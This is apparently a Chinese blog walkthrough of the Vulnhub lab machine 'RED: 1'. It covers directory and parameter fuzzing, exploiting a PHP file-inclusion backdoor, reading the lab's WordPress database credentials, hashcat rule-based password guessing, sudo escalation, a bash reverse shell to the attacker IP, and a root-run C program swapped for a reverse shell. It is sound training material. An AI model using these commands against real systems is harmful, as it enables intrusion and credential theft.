【Vulnhub靶场】RED: 1

2022-10-17,,

环境准备

下载靶机导入到vmware

但是获取不到地址,可以根据我博客里的方法修改网卡来获取IP地址

信息收集

我们改好网卡之后,我们使用arp-scan命令来探测靶机的IP地址

靶机IP地址为:192.168.2.15

攻击机IP地址为:192.168.2.17

我们使用nmap扫描靶机开放的端口信息

只开放了ssh跟80端口,我们首先访问他的网站

发现是一个被黑了的网站,点击search后,会跳到一个域名

我们修改hosts解析

渗透开始

修改好后,网站可以正常访问了,我们看看有没有什么可以利用的信息

查看源码发现有一串英文

Still Looking For It? Maybe you should ask Mr. Miessler for help, not that it matters, you won't be able to read anything with it anyway

还在找吗?也许你应该找米斯勒先生帮忙,但这并不重要,反正你用它什么也看不懂

叫我们找Mr.Miessler帮忙,我百度了一下,发现是一个seclists工具

我们继续寻找一下信息

发现是有后门的,并且是wordpress搭建的,我们可以尝试用刚刚找到的工具的字典来爆破一下后门

python3 dirsearch.py  -u "http://redrocks.win" -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt

这应该就是后门了

可以访问的,但是我们没有参数连接,我们使用wfuzz工具爆破一下,同样用刚刚工具的字典

wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=ls

爆破出来是key,我们提交一下这个参数,发现是文件包含

我们尝试读取一下后门文件的源码,看看他还有没有其他的功能

发现并不行,我们尝试使用本地文件包含协议去读取

成功了,我们把它basr64解码得到

<?php
$file = $_GET['key'];
if(isset($file))
{
include("$file");
}
else
{
include("NetworkFileManagerPHP.php");
}
/* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?>

并没有别的功能,但是有一串base64编码的东西,我们把它解码得到

That password alone won't help you! Hashcat says rules are rules

这个密码并不能帮助您!Hashcat说规则就是规则

暂时用不上,先记着

我们之前发现这个网站是wordpress搭建的,我们查看一下wp-config.php这个文件,应该是会有mysql连接的信息的

base64解码得到

/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the web site, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' ); /** MySQL database username */
define( 'DB_USER', 'john' ); /** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' ); /** MySQL hostname */
define( 'DB_HOST', 'localhost' ); /** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' ); /** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' ); define('FS_METHOD', 'direct'); define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win'); /**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY', 'ah}define('LOGGED_IN_KEY', '[a!K}D<7-vB3Y&x_<3e]Wd+J]!o+A:U@QUZ-RU1]tO@/N}b}R@+/$+u*pJ|Z(xu-');
define('NONCE_KEY', ' g4|@~:h,K29D}$FL-f/eujw(VT;8wa7xRWpVR: >},]!Ez.48E:ok 8Ip~5_o+a');
define('AUTH_SALT', 'a;,O<~vbpL+|@W+!Rs1o,T$r9(LwaXI =I7ZW$.Z[+BQ=B6QG7nr+w_bQ6B]5q4c');
define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ +.[us;6mE+|$x*+ D*Ke+:Nt:');
define('LOGGED_IN_SALT', '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9define('NONCE_SALT', 'hTlFE*6zlZMbqluz)hf:-:x-:l89fC4otci;38|i`7eU1;+k[!0[ZG.oCt2@-y3X'); /**#@-*/ /**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_'; /**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false ); /* Add any custom values between this line and the "stop editing" line. */ /* That's all, stop editing! Happy publishing. */ /** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
} /** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

有一个叫john的用户,我们之前查看/etc/passwd的文件时看到了john这个用户是可以登录的

我们尝试用这个密码登录

但是密码错误了,我们突然想到之前的提示

That password alone won't help you! Hashcat says rules are rules

这个密码并不能帮助您!Hashcat说规则就是规则

应该是要用hashcat的规则去生成一个密码本,然后爆破密码登录

hashcat --stdout passwd -r /usr/share/hashcat/rules/best64.rule > pass2

成功爆破出密码,我们使用这个密码登录

提权

发现我们可以不用密码使用ippsec用户运行time命令,我们使用time命令提权

成功提权

我们查找一下有用的信息

正在查找的时候,突然被断开了

再使用之前爆破出来的密码已经不能用了,只能重新爆破

会自动修改密码,我们去反弹一个shell,让他就算修改了密码也不会被T出会话,先在攻击监听一下9001端口

然后去靶机连接

bash -c "bash -i >& /dev/tcp/192.168.2.17/9001 0>&1"

成功连接,然后我们运行如下命令来获得一个完全的shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm #这里按下Ctrl+z返回一下
stty raw -echo;fg #输入reset
stty rows 46 columns 188

这样就获得了一个完全的shell,我们继续查看一下信息

发现vi命令跟cat命令的功能互换了,但对我们没有什么影响,我们继续查看信息

发现了一个假的flag

Come on now Blue! You really think it would be that easy to get the user flag? You are not even on the right user! Hahaha

来吧,蓝色!你真觉得能轻易拿到flag吗?您甚至没有使用正确的用户!哈哈哈

接下来我就没有什么思路了,去查看了大佬们的博客,发现可以使用pspy64s工具去监听系统运行的程序

我们进入/tmp目录把它上传到靶机上,赋予运行权限,然后监听一下

这里有运行好几个程序,并且都是root权限运行的,我们去查看一下那个C程序

发现就是把我们T出去的那个文件,我们修改一个程序的源码,让他反弹一个shell

我们去这里生成一个C语言的反弹shell的源码

我们把它删除,然后从攻击机上传C程序到靶机上,因为我们是没有权限编辑这个文件的

上传成功,我们攻击机监听一下9002端口,等待连接,就可以得到root权限了

查看root.txt文件即可得到flag

红色说:GG Blue, GG

还挺好笑的hhhhh

还有一个用户的flag,在oxdf用户下

实验到此结束,学到了新东西,很开心

【Vulnhub靶场RED: 1的相关教程结束。

《【Vulnhub靶场】RED: 1.doc》

下载本文的Word格式文档,以方便收藏与打印。